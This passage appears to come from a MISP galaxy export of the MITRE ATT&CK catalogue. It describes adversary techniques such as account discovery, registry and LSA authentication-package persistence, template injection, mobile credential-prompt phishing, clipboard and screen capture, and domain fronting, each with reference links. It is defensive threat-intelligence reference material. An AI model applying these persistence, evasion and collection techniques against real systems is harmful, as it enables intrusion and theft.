On network devices, [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands such as `show processes` can be used to display current running processes.(Citation: US-CERT-TA18-106A)(Citation: show_processes_cisco_cmd)

The tag is: *misp-galaxy:mitre-attack-pattern="Process Discovery - T1057"*

Table 8914. Table References

Links
https://attack.mitre.org/techniques/T1057
https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/fundamentals/command/cf_command_ref/show_monitor_permit_list_through_show_process_memory.html#wp3599497760
https://www.crowdstrike.com/en-us/blog/hypervisor-jackpotting-ecrime-actors-increase-targeting-of-esxi-servers/
https://www.sygnia.co/blog/esxi-ransomware-ssh-tunneling-defense-strategies/
https://www.us-cert.gov/ncas/alerts/TA18-106A

Virtualization Solution - T1670

Adversaries may carry out malicious operations using virtualization solutions to escape from Android sandboxes and to avoid detection. Android uses sandboxes to separate resources and code execution between applications and the operating system.(Citation: Android Application Sandbox) There are a few virtualization solutions available on Android, such as the Android Virtualization Framework (AVF).(Citation: Android AVF Overview)

Through virtualization solutions, adversaries may execute malicious operations without user knowledge. For example, adversaries may mimic a legitimate banking application's functionalities in a virtual environment, thanks to the virtualization solution, while malicious code captures credentials.

The tag is: *misp-galaxy:mitre-attack-pattern="Virtualization Solution - T1670"*

Table 8915. Table References

Links
https://attack.mitre.org/techniques/T1670
https://source.android.com/docs/core/virtualization
https://source.android.com/docs/security/app-sandbox

Stage Capabilities - T1608

Adversaries may upload, install, or otherwise set up capabilities that can be used during targeting. To support their operations, an adversary may need to take capabilities they developed ([Develop Capabilities](https://attack.mitre.org/techniques/T1587)) or obtained ([Obtain Capabilities](https://attack.mitre.org/techniques/T1588)) and stage them on infrastructure under their control. These capabilities may be staged on infrastructure that was previously purchased/rented by the adversary ([Acquire Infrastructure](https://attack.mitre.org/techniques/T1583)) or was otherwise compromised by them ([Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)). Capabilities may also be staged on web services, such as GitHub or Pastebin, or on Platform-as-a-Service (PaaS) offerings that enable users to easily provision applications.(Citation: Volexity Ocean Lotus November 2020)(Citation: Dragos Heroku Watering Hole)(Citation: Malwarebytes Heroku Skimmers)(Citation: Netskope GCP Redirection)(Citation: Netskope Cloud Phishing)

Staging of capabilities can aid the adversary in a number of initial access and post-compromise behaviors, including (but not limited to):

- Staging web resources necessary to conduct [Drive-by Compromise](https://attack.mitre.org/techniques/T1189) when a user browses to a site.(Citation: FireEye CFR Watering Hole 2012)(Citation: Gallagher 2015)(Citation: ATT ScanBox)
- Staging web resources for a link target to be used with spearphishing.(Citation: Malwarebytes Silent Librarian October 2020)(Citation: Proofpoint TA407 September 2019)
- Uploading malware or tools to a location accessible to a victim network to enable [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105).(Citation: Volexity Ocean Lotus November 2020)
- Installing a previously acquired SSL/TLS certificate to use to encrypt command and control traffic (ex: [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002) with [Web Protocols](https://attack.mitre.org/techniques/T1071/001)).(Citation: DigiCert Install SSL Cert)

The tag is: *misp-galaxy:mitre-attack-pattern="Stage Capabilities - T1608"*

Table 8916. Table References

Links
http://arstechnica.com/security/2015/08/newly-discovered-chinese-hacking-group-hacked-100-websites-to-use-as-watering-holes/
https://attack.mitre.org/techniques/T1608

https://blog.malwarebytes.com/malwarebytes-news/2020/10/silent-librarian-apt-phishing-attack/
https://cybersecurity.att.com/blogs/labs-research/scanbox-a-reconnaissance-framework-used-on-watering-hole-attacks
https://web.archive.org/web/20201024230407/https://www.fireeye.com/blog/threat-research/2012/12/council-foreign-relations-water-hole-attack-details.html
https://www.digicert.com/kb/ssl-certificate-installation.htm
https://www.dragos.com/blog/industry-news/a-new-water-watering-hole/
https://www.malwarebytes.com/blog/news/2019/12/theres-an-app-for-that-web-skimmers-found-on-paas-heroku
https://www.netskope.com/blog/a-big-catch-cloud-phishing-from-google-app-engine-and-azure-app-service
https://www.netskope.com/blog/targeted-attacks-abusing-google-cloud-platform-open-redirection
https://www.proofpoint.com/us/threat-insight/post/threat-actor-profile-ta407-silent-librarian
https://www.volexity.com/blog/2020/11/06/oceanlotus-extending-cyber-espionage-operations-through-fake-websites/

Account Discovery - T1087

Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., [Valid Accounts](https://attack.mitre.org/techniques/T1078)).

Adversaries may use several methods to enumerate accounts, including abuse of existing tools, built-in commands, and potential misconfigurations that leak account names and roles or permissions in the targeted environment.

For examples, cloud environments typically provide easily accessible interfaces to obtain user lists.(Citation: AWS List Users)(Citation: Google Cloud - IAM Servie Accounts List API) On hosts, adversaries can use default [PowerShell](https://attack.mitre.org/techniques/T1059/001) and other command line functionality to identify accounts. Information about email addresses and accounts may also be extracted by searching an infected system's files.

The tag is: *misp-galaxy:mitre-attack-pattern="Account Discovery - T1087"*

Table 8917. Table References

Links
https://attack.mitre.org/techniques/T1087
https://cloud.google.com/sdk/gcloud/reference/iam/service-accounts/list
https://docs.aws.amazon.com/cli/latest/reference/iam/list-users.html
https://www.elastic.co/security-labs/embracing-offensive-tooling-building-detections-against-koadic-using-eql

Valid Accounts - T1078

Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access, network devices, and remote desktop.(Citation: volexity_0day_sophos_FW) Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.

In some cases, adversaries may abuse inactive accounts: for example, those belonging to individuals who are no longer part of an organization. Using these accounts may allow the adversary to evade detection, as the original account user will not be present to identify any anomalous activity taking place on their account.(Citation: CISA MFA PrintNightmare)

The overlap of permissions for local, domain, and cloud accounts across a network of systems is of concern because the adversary may be able to pivot across accounts and systems to reach a high level of access (i.e., domain or enterprise administrator) to bypass access controls set within the enterprise.(Citation: TechNet Credential Theft)

The tag is: *misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078"*

Table 8918. Table References

Links
https://attack.mitre.org/techniques/T1078
https://technet.microsoft.com/en-us/library/dn487457.aspx
https://technet.microsoft.com/en-us/library/dn535501.aspx
https://www.cisa.gov/uscert/ncas/alerts/aa22-074a
https://www.volexity.com/blog/2022/06/15/driftingcloud-zero-day-sophos-firewall-exploitation-and-an-insidious-breach/

Multilayer Encryption - T1079

An adversary performs C2 communications using multiple layers of encryption, typically (but not exclusively) tunneling a custom encryption scheme within a protocol encryption scheme such as HTTPS or SMTPS.

The tag is: *misp-galaxy:mitre-attack-pattern="Multilayer Encryption - T1079"*

Table 8919. Table References

Links
http://www.sans.org/reading-room/whitepapers/analyst/finding-hidden-threats-decrypting-ssl-34840

https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
https://attack.mitre.org/techniques/T1079
https://insights.sei.cmu.edu/cert/2015/03/the-risks-of-ssl-inspection.html
https://www.fidelissecurity.com/sites/default/files/FTA_1018_looking_at_the_sky_for_a_dark_comet.pdf

Account Manipulation - T1098

Adversaries may manipulate accounts to maintain and/or elevate access to victim systems. Account manipulation may consist of any action that preserves or modifies adversary access to a compromised account, such as modifying credentials or permission groups.(Citation: FireEye SMOKEDHAM June 2021) These actions could also include account activity designed to subvert security policies, such as performing iterative password updates to bypass password duration policies and preserve the life of compromised credentials.

In order to create or manipulate accounts, the adversary must already have sufficient permissions on systems or the domain. However, account manipulation may also lead to privilege escalation where modifications grant access to additional roles, permissions, or higher-privileged [Valid Accounts](https://attack.mitre.org/techniques/T1078).

The tag is: *misp-galaxy:mitre-attack-pattern="Account Manipulation - T1098"*

Table 8920. Table References

Links
https://attack.mitre.org/techniques/T1098
https://blog.stealthbits.com/manipulating-user-passwords-with-mimikatz-SetNTLM-ChangeNTLM
https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4738
https://github.com/gentilkiwi/mimikatz/issues/92
https://www.fireeye.com/blog/threat-research/2021/06/darkside-affiliate-supply-chain-software-compromise.html
https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventID=4670

Modify Registry - T1112

Adversaries may interact with the Windows Registry as part of a variety of other techniques to aid in defense evasion, persistence, and execution.

Access to specific areas of the Registry depends on account permissions, with some keys requiring administrator-level access. The built-in Windows command-line utility [Reg](https://attack.mitre.org/software/S0075) may be used for local or remote Registry modification.(Citation: Microsoft Reg) Other tools, such as remote access tools, may also contain functionality to interact with the Registry through the Windows API.

The Registry may be modified in order to hide configuration information or malicious payloads via

[Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027).(Citation: Unit42 BabyShark Feb 2019)(Citation: Avaddon Ransomware 2021)(Citation: Microsoft BlackCat Jun 2022)(Citation: CISA Russian Gov Critical Infra 2018) The Registry may also be modified to [Impair Defenses](https://attack.mitre.org/techniques/T1562), such as by enabling macros for all Microsoft Office products, allowing privilege escalation without alerting the user, increasing the maximum number of allowed outbound requests, and/or modifying systems to store plaintext credentials in memory.(Citation: CISA LockBit 2023)(Citation: Unit42 BabyShark Feb 2019)

The Registry of a remote system may be modified to aid in execution of files as part of lateral movement. It requires the remote Registry service to be running on the target system.(Citation: Microsoft Remote) Often [Valid Accounts](https://attack.mitre.org/techniques/T1078) are required, along with access to the remote system's [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002) for RPC communication.

Finally, Registry modifications may also include actions to hide keys, such as prepending key names with a null character, which will cause an error and/or be ignored when read via [Reg](https://attack.mitre.org/software/S0075) or other utilities using the Win32 API.(Citation: Microsoft Reghide NOV 2006) Adversaries may abuse these pseudo-hidden keys to conceal payloads/commands used to maintain persistence.(Citation: TrendMicro POWELIKS AUG 2014)(Citation: SpectorOps Hiding Reg Jul 2017)

The tag is: *misp-galaxy:mitre-attack-pattern="Modify Registry - T1112"*

Table 8921. Table References

Links
https://arxiv.org/pdf/2102.04796
https://attack.mitre.org/techniques/T1112
https://blog.trendmicro.com/trendlabs-security-intelligence/poweliks-malware-hides-in-windows-registry/
https://docs.microsoft.com/en-us/sysinternals/downloads/regdelnull
https://docs.microsoft.com/sysinternals/downloads/reghide
https://docs.microsoft.com/windows/security/threat-protection/auditing/event-4657
https://posts.specterops.io/hiding-registry-keys-with-psreflect-b18ec5ac8353
https://technet.microsoft.com/en-us/library/cc732643.aspx
https://technet.microsoft.com/en-us/library/cc754820.aspx
https://unit42.paloaltonetworks.com/new-babyshark-malware-targets-u-s-national-security-think-tanks/
https://www.cisa.gov/news-events/alerts/2018/03/15/russian-government-cyber-activity-targeting-energy-and-other-critical-infrastructure-sectors
https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-075a
https://www.microsoft.com/en-us/security/blog/2022/06/13/the-many-lives-of-blackcat-ransomware/

Authentication Package - T1131

Windows Authentication Package DLLs are loaded by the Local Security Authority (LSA) process at system start. They provide support for multiple logon processes and multiple security protocols to the operating system. (Citation: MSDN Authentication Packages)

Adversaries can use the autostart mechanism provided by LSA Authentication Packages for persistence by placing a reference to a binary in the Windows Registry location <code>HKLM\SYSTEM\CurrentControlSet\Control\Lsa\</code> with the key value of <code>"Authentication Packages"=<target binary></code>. The binary will then be executed by the system when the authentication packages are loaded.

The tag is: *misp-galaxy:mitre-attack-pattern="Authentication Package - T1131"*

Table 8922. Table References

Links
http://docplayer.net/20839173-Analysis-of-malicious-security-support-provider-dlls.html
https://attack.mitre.org/techniques/T1131
https://msdn.microsoft.com/library/windows/desktop/aa374733.aspx
https://technet.microsoft.com/en-us/library/dn408187.aspx

Screen Capture - T1113

Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as <code>CopyFromScreen</code>, <code>xwd</code>, or <code>screencapture</code>.(Citation: CopyFromScreen .NET)(Citation: Antiquated Mac Malware)

The tag is: *misp-galaxy:mitre-attack-pattern="Screen Capture - T1113"*

Table 8923. Table References

Links
https://attack.mitre.org/techniques/T1113
https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/
https://docs.microsoft.com/en-us/dotnet/api/system.drawing.graphics.copyfromscreen?view=netframework-4.8

Dynamic DNS - T1311

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1311).

Dynamic DNS is a method of automatically updating a name in the DNS system. Providers offer this rapid reconfiguration of IPs to hostnames as a service. (Citation: DellMirage2012)

The tag is: *misp-galaxy:mitre-attack-pattern="Dynamic DNS - T1311"*

Table 8924. Table References

Links
https://attack.mitre.org/techniques/T1311

Email Collection - T1114

Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Emails may also contain details of ongoing incident response operations, which may allow adversaries to adjust their techniques in order to maintain persistence or evade defenses.(Citation: TrustedSec OOB Communications)(Citation: CISA AA20-352A 2021) Adversaries can collect or forward email from mail servers or clients.

The tag is: *misp-galaxy:mitre-attack-pattern="Email Collection - T1114"*

Table 8925. Table References

Links
https://attack.mitre.org/techniques/T1114
https://blogs.technet.microsoft.com/timmcmic/2015/06/08/exchange-and-office-365-mail-forwarding-2/
https://trustedsec.com/blog/to-oob-or-not-to-oob-why-out-of-band-communications-are-essential-for-incident-response
https://www.cisa.gov/news-events/cybersecurity-advisories/aa20-352a

Input Prompt - T1411

The operating system and installed applications often have legitimate needs to prompt the user for sensitive information such as account credentials, bank account information, or Personally Identifiable Information (PII). Adversaries may mimic this functionality to prompt users for sensitive information.

Compared to traditional PCs, the constrained display size of mobile devices may impair the ability to provide users with contextual information, making users more susceptible to this technique's use.(Citation: Felt-PhishingOnMobileDevices)

Specific approaches to this technique include:

Impersonate the identity of a legitimate application

A malicious application could impersonate the identity of a legitimate application (e.g. use the same

application name and/or icon) and get installed on the device. The malicious app could then prompt the user for sensitive information.(Citation: eset-finance)

Display a prompt on top of a running legitimate application

A malicious application could display a prompt on top of a running legitimate application to trick users into entering sensitive information into the malicious application rather than the legitimate application. Typically, the malicious application would need to know when the targeted application (and individual activity within the targeted application) is running in the foreground, so that the malicious application knows when to display its prompt. Android 5.0 and 5.1.1, respectively, increased the difficulty of determining the current foreground application through modifications to the `ActivityManager` API.(Citation: Android-getRunningTasks)(Citation: StackOverflow-getRunningAppProcesses). A malicious application can still abuse Android's accessibility features to determine which application is currently in the foreground.(Citation: ThreatFabric Cerberus) Approaches to display a prompt include:

- A malicious application could start a new activity on top of a running legitimate application.(Citation: Felt-PhishingOnMobileDevices)(Citation: Hassell-ExploitingAndroid) Android 10 places new restrictions on the ability for an application to start a new activity on top of another application, which may make it more difficult for adversaries to utilize this technique.(Citation: Android Background)
- A malicious application could create an application overlay window on top of a running legitimate application. Applications must hold the `SYSTEM_ALERT_WINDOW` permission to create overlay windows. This permission is handled differently than typical Android permissions, and at least under certain conditions is automatically granted to applications installed from the Google Play Store.(Citation: Cloak and Dagger)(Citation: NowSecure Android Overlay)(Citation: Skycure-Accessibility) The `SYSTEM_ALERT_WINDOW` permission and its associated ability to create application overlay windows are expected to be deprecated in a future release of Android in favor of a new API.(Citation: XDA Bubbles)

Fake device notifications

A malicious application could send fake device notifications to the user. Clicking on the device notification could trigger the malicious application to display an input prompt.(Citation: Group IB Gustuff Mar 2019)

The tag is: *misp-galaxy:mitre-attack-pattern="Input Prompt - T1411"*

Table 8926. Table References

Links
http://cloak-and-dagger.org/
http://stackoverflow.com/questions/30619349/android-5-1-1-and-above-getrunningappprocesses-returns-my-application-packag
http://w2spconf.com/2011/papers/felt-mobilephishing.pdf

https://attack.mitre.org/techniques/T1411
https://conference.hitb.org/hitbsecconf2011kul/materials/D1T1%20-%20Riley%20Hassell%20-%20Exploiting%20Androids%20for%20Fun%20and%20Profit.pdf
https://developer.android.com/guide/components/activities/background-starts
https://developer.android.com/reference/android/app/ActivityManager.html#getRunningTasks%28int%29
https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-31.html
https://www.group-ib.com/blog/gustuff
https://www.nowsecure.com/blog/2017/05/25/android-overlay-malware-system-alert-window-permission/
https://www.skycure.com/blog/accessibility-clickjacking/
https://www.threatfabric.com/blogs/cerberus-a-new-banking-trojan-from-the-underworld.html
https://www.welivesecurity.com/2018/09/19/fake-finance-apps-google-play-target-around-world/
https://www.xda-developers.com/android-q-system-alert-window-deprecate-bubbles/

Input Prompt - T1141

When programs are executed that need additional privileges than are present in the current user context, it is common for the operating system to prompt the user for proper credentials to authorize the elevated privileges for the task (ex: [Bypass User Account Control](https://attack.mitre.org/techniques/T1088)).

Adversaries may mimic this functionality to prompt users for credentials with a seemingly legitimate prompt for a number of reasons that mimic normal usage, such as a fake installer requiring additional access or a fake malware removal suite.(Citation: OSX Malware Exploits MacKeeper) This type of prompt can be used to collect credentials via various languages such as [AppleScript](https://attack.mitre.org/techniques/T1155)(Citation: LogRhythm Do You Trust Oct 2014)(Citation: OSX Keydnap malware) and [PowerShell](https://attack.mitre.org/techniques/T1086)(Citation: LogRhythm Do You Trust Oct 2014)(Citation: Enigma Phishing for Credentials Jan 2015).

The tag is: *misp-galaxy:mitre-attack-pattern="Input Prompt - T1141"*

Table 8927. Table References

Links
https://attack.mitre.org/techniques/T1141
https://baesystemsai.blogspot.com/2015/06/new-mac-os-malware-exploits-mackeeper.html
https://capec.mitre.org/data/definitions/569.html
https://enigma0x3.net/2015/01/21/phishing-for-credentials-if-you-want-it-just-ask/
https://logrhythm.com/blog/do-you-trust-your-computer/
https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/

Clipboard Data - T1115

Adversaries may collect data stored in the clipboard from users copying information within or between applications.

For example, on Windows adversaries can access clipboard data by using <code>clip.exe</code> or <code>Get-Clipboard</code>.(Citation: MSDN Clipboard)(Citation: clip_win_server)(Citation: CISA_AA21_200B) Additionally, adversaries may monitor then replace users' clipboard with their data (e.g., [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002)).(Citation: mining_ruby_reversinglabs)

macOS and Linux also have commands, such as <code>pbpaste</code>, to grab clipboard contents.(Citation: Operating with EmPyre)

The tag is: *misp-galaxy:mitre-attack-pattern="Clipboard Data - T1115"*

Table 8928. Table References

Links
https://attack.mitre.org/techniques/T1115
https://blog.reversinglabs.com/blog/mining-for-malicious-ruby-gems
https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/clip
https://medium.com/rvrsh3ll/operating-with-empyre-ea764eda3363
https://msdn.microsoft.com/en-us/library/ms649012
https://www.cisa.gov/uscert/ncas/alerts/aa21-200b

LC_LOAD_DYLIB Addition - T1161

Mach-O binaries have a series of headers that are used to perform certain operations when a binary is loaded. The LC_LOAD_DYLIB header in a Mach-O binary tells macOS and OS X which dynamic libraries (dylibs) to load during execution time. These can be added ad-hoc to the compiled binary as long adjustments are made to the rest of the fields and dependencies (Citation: Writing Bad Malware for OSX). There are tools available to perform these changes. Any changes will invalidate digital signatures on binaries because the binary is being modified. Adversaries can remediate this issue by simply removing the LC_CODE_SIGNATURE command from the binary so that the signature isn't checked at load time (Citation: Malware Persistence on OS X).

The tag is: *misp-galaxy:mitre-attack-pattern="LC_LOAD_DYLIB Addition - T1161"*

Table 8929. Table References

Links
https://attack.mitre.org/techniques/T1161
https://www.blackhat.com/docs/us-15/materials/us-15-Wardle-Writing-Bad-A-Malware-For-OS-X.pdf
https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf

Code Signing - T1116

Code signing provides a level of authenticity on a binary from the developer and a guarantee that the binary has not been tampered with. (Citation: Wikipedia Code Signing) However, adversaries are known to use code signing certificates to masquerade malware and tools as legitimate binaries (Citation: Janicab). The certificates used during an operation may be created, forged, or stolen by the adversary. (Citation: Securelist Digital Certificates) (Citation: Symantec Digital Certificates)

Code signing to verify software on first run can be used on modern Windows and macOS/OS X systems. It is not used on Linux due to the decentralized nature of the platform. (Citation: Wikipedia Code Signing)

Code signing certificates may be used to bypass security policies that require signed code to execute on a system.

The tag is: *misp-galaxy:mitre-attack-pattern="Code Signing - T1116"*

Table 8930. Table References

Links
http://www.symantec.com/connect/blogs/how-attackers-steal-private-keys-digital-certificates
http://www.thesafemac.com/new-signed-malware-called-janicab/
https://attack.mitre.org/techniques/T1116
https://en.wikipedia.org/wiki/Code_signing
https://securelist.com/why-you-shouldnt-completely-trust-files-signed-with-digital-certificates/68593/

Automated Collection - T1119

Once established within a system or network, an adversary may use automated techniques for collecting internal data. Methods for performing this technique could include use of a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059) to search for and copy information fitting set criteria such as file type, location, or name at specific time intervals.

In cloud-based environments, adversaries may also use cloud APIs, data pipelines, command line interfaces, or extract, transform, and load (ETL) services to automatically collect data.(Citation: Mandiant UNC3944 SMS Phishing 2023)

This functionality could also be built into remote access tools.

This technique may incorporate use of other techniques such as [File and Directory Discovery](https://attack.mitre.org/techniques/T1083) and [Lateral Tool Transfer](https://attack.mitre.org/techniques/T1570) to identify and move files, as well as [Cloud Service Dashboard](https://attack.mitre.org/techniques/T1538) and [Cloud Storage Object Discovery](https://attack.mitre.org/techniques/T1619) to identify resources in cloud environments.

The tag is: *misp-galaxy:mitre-attack-pattern="Automated Collection - T1119"*

Table 8931. Table References

Links
https://attack.mitre.org/techniques/T1119
https://www.mandiant.com/resources/blog/unc3944-sms-phishing-sim-swapping-ransomware

Template Injection - T1221

Adversaries may create or modify references in user document templates to conceal malicious code or force authentication attempts. For example, Microsoft's Office Open XML (OOXML) specification defines an XML-based format for Office documents (.docx, xlsx, .pptx) to replace older binary formats (.doc, .xls, .ppt). OOXML files are packed together ZIP archives compromised of various XML files, referred to as parts, containing properties that collectively define how a document is rendered.(Citation: Microsoft Open XML July 2017)

Properties within parts may reference shared public resources accessed via online URLs. For example, template properties may reference a file, serving as a pre-formatted document blueprint, that is fetched when the document is loaded.

Adversaries may abuse these templates to initially conceal malicious code to be executed via user documents. Template references injected into a document may enable malicious payloads to be fetched and executed when the document is loaded.(Citation: SANS Brian Wiltse Template Injection) These documents can be delivered via other techniques such as [Phishing](https://attack.mitre.org/techniques/T1566) and/or [Taint Shared Content](https://attack.mitre.org/techniques/T1080) and may evade static detections since no typical indicators (VBA macro, script, etc.) are present until after the malicious payload is fetched.(Citation: Redxorblue Remote Template Injection) Examples have been seen in the wild where template injection was used to load malicious code containing an exploit.(Citation: MalwareBytes Template Injection OCT 2017)

Adversaries may also modify the <code>*\template</code> control word within an .rtf file to similarly conceal then download malicious code. This legitimate control word value is intended to be a file destination of a template file resource that is retrieved and loaded when an .rtf file is opened. However, adversaries may alter the bytes of an existing .rtf file to insert a template control word field to include a URL resource of a malicious payload.(Citation: Proofpoint RTF Injection)(Citation: Ciberseguridad Decoding malicious RTF files)

This technique may also enable [Forced Authentication](https://attack.mitre.org/techniques/T1187) by injecting a SMB/HTTPS (or other credential prompting) URL and triggering an authentication attempt.(Citation: Anomali Template Injection MAR 2018)(Citation: Talos Template Injection July 2017)(Citation: ryhanson phishery SEPT 2016)

The tag is: *misp-galaxy:mitre-attack-pattern="Template Injection - T1221"*

Table 8932. Table References

Links
http://blog.redxorblue.com/2018/07/executing-macros-from-docx-with-remote.html

https://attack.mitre.org/techniques/T1221
https://blog.malwarebytes.com/threat-analysis/2017/10/decoy-microsoft-word-document-delivers-malware-through-rat/
https://blog.talosintelligence.com/2017/07/template-injection.html
https://ciberseguridad.blog/decodificando-ficheros-rtf-maliciosos/
https://docs.microsoft.com/previous-versions/office/developer/office-2007/aa338205(v=office.12)
https://forum.anomali.com/t/credential-harvesting-and-malicious-file-delivery-using-microsoft-office-template-injection/2104
https://github.com/ryhanson/phishery
https://www.proofpoint.com/us/blog/threat-insight/injection-new-black-novel-rtf-template-inject-technique-poised-widespread
https://www.sans.org/reading-room/whitepapers/testing/template-injection-attacks-bypassing-security-controls-living-land-38780

Audio Capture - T1123

An adversary can leverage a computer's peripheral devices (e.g., microphones and webcams) or applications (e.g., voice and video call services) to capture audio recordings for the purpose of listening into sensitive conversations to gather information.(Citation: ESET Attor Oct 2019)

Malware or scripts may be used to interact with the devices through an available API provided by the operating system or an application to capture audio. Audio files may be written to disk and exfiltrated later.

The tag is: *misp-galaxy:mitre-attack-pattern="Audio Capture - T1123"*

Table 8933. Table References

Links
https://attack.mitre.org/techniques/T1123
https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Attor.pdf

Data Encoding - T1132

Adversaries may encode data to make the content of command and control traffic more difficult to detect. Command and control (C2) information can be encoded using a standard data encoding system. Use of data encoding may adhere to existing protocol specifications and includes use of ASCII, Unicode, Base64, MIME, or other binary-to-text and character encoding systems.(Citation: Wikipedia Binary-to-text Encoding) (Citation: Wikipedia Character Encoding) Some data encoding systems may also result in data compression, such as gzip.

The tag is: *misp-galaxy:mitre-attack-pattern="Data Encoding - T1132"*

Table 8934. Table References

Links
https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
https://attack.mitre.org/techniques/T1132
https://en.wikipedia.org/wiki/Binary-to-text_encoding
https://en.wikipedia.org/wiki/Character_encoding

Encrypted Channel - T1521

Adversaries may explicitly employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if necessary secret keys are encoded and/or generated within malware samples/configuration files.

The tag is: *misp-galaxy:mitre-attack-pattern="Encrypted Channel - T1521"*

Table 8935. Table References

Links
https://attack.mitre.org/techniques/T1521

Video Capture - T1512

An adversary can leverage a device's cameras to gather information by capturing video recordings. Images may also be captured, potentially in specified intervals, in lieu of video files.

Malware or scripts may interact with the device cameras through an available API provided by the operating system. Video or image files may be written to disk and exfiltrated later. This technique differs from [Screen Capture](https://attack.mitre.org/techniques/T1513) due to use of the device's cameras for video recording rather than capturing the victim's screen.

In Android, an application must hold the `android.permission.CAMERA` permission to access the cameras. In iOS, applications must include the `NSCameraUsageDescription` key in the `Info.plist` file. In both cases, the user must grant permission to the requesting application to use the camera. If the device has been rooted or jailbroken, an adversary may be able to access the camera without knowledge of the user.

The tag is: *misp-galaxy:mitre-attack-pattern="Video Capture - T1512"*

Table 8936. Table References

Links
https://attack.mitre.org/techniques/T1512
https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-19.html

Video Capture - T1125

An adversary can leverage a computer's peripheral devices (e.g., integrated cameras or webcams) or applications (e.g., video call services) to capture video recordings for the purpose of gathering information. Images may also be captured from devices or applications, potentially in specified intervals, in lieu of video files.

Malware or scripts may be used to interact with the devices through an available API provided by the operating system or an application to capture video or images. Video or image files may be written to disk and exfiltrated later. This technique differs from [Screen Capture](https://attack.mitre.org/techniques/T1113) due to use of specific devices or applications for video recording rather than capturing the victim's screen.

In macOS, there are a few different malware samples that record the user's webcam such as FruitFly and Proton. (Citation: objective-see 2017 review)

The tag is: *misp-galaxy:mitre-attack-pattern="Video Capture - T1125"*

Table 8937. Table References

Links
https://attack.mitre.org/techniques/T1125
https://objective-see.com/blog/blog_0x25.html

Login Item - T1162

MacOS provides the option to list specific applications to run when a user logs in. These applications run under the logged in user's context, and will be started every time the user logs in. Login items installed using the Service Management Framework are not visible in the System Preferences and can only be removed by the application that created them (Citation: Adding Login Items). Users have direct control over login items installed using a shared file list which are also visible in System Preferences (Citation: Adding Login Items). These login items are stored in the user's <code>~/Library/Preferences/</code> directory in a plist file called <code>com.apple.loginitems.plist</code> (Citation: Methods of Mac Malware Persistence). Some of these applications can open visible dialogs to the user, but they don't all have to since there is an option to 'Hide' the window. If an adversary can register their own login item or modified an existing one, then they can use it to execute their code for a persistence mechanism each time the user logs in (Citation: Malware Persistence on OS X) (Citation: OSX.Dok Malware). The API method <code> SMLoginItemSetEnabled </code> can be used to set Login Items, but scripting languages like [AppleScript](https://attack.mitre.org/techniques/T1155) can do this as well (Citation: Adding Login Items).

The tag is: *misp-galaxy:mitre-attack-pattern="Login Item - T1162"*

Table 8938. Table References

Links
https://attack.mitre.org/techniques/T1162

https://blog.malwarebytes.com/threat-analysis/2017/04/new-osx-dok-malware-intercepts-web-traffic/
https://capec.mitre.org/data/definitions/564.html
https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLoginItems.html
https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf

Domain Fronting - T1172

Domain fronting takes advantage of routing schemes in Content Delivery Networks (CDNs) and other services which host multiple domains to obfuscate the intended destination of HTTPS traffic or traffic tunneled through HTTPS. (Citation: Fifield Blocking Resistent Communication through domain fronting 2015) The technique involves using different domain names in the SNI field of the TLS header and the Host field of the HTTP header. If both domains are served from the same CDN, then the CDN may route to the address specified in the HTTP header after unwrapping the TLS header. A variation of the the technique, "domainless" fronting, utilizes a SNI field that is left blank; this may allow the fronting to work even when the CDN attempts to validate that the SNI and HTTP Host fields match (if the blank SNI fields are ignored).

For example, if domain-x and domain-y are customers of the same CDN, it is possible to place domain-x in the TLS header and domain-y in the HTTP header. Traffic will appear to be going to domain-x, however the CDN may route it to domain-y.

The tag is: *misp-galaxy:mitre-attack-pattern="Domain Fronting - T1172"*

Table 8939. Table References

Links
http://www.icir.org/vern/papers/meek-PETS-2015.pdf
https://attack.mitre.org/techniques/T1172

AppCert DLLs - T1182

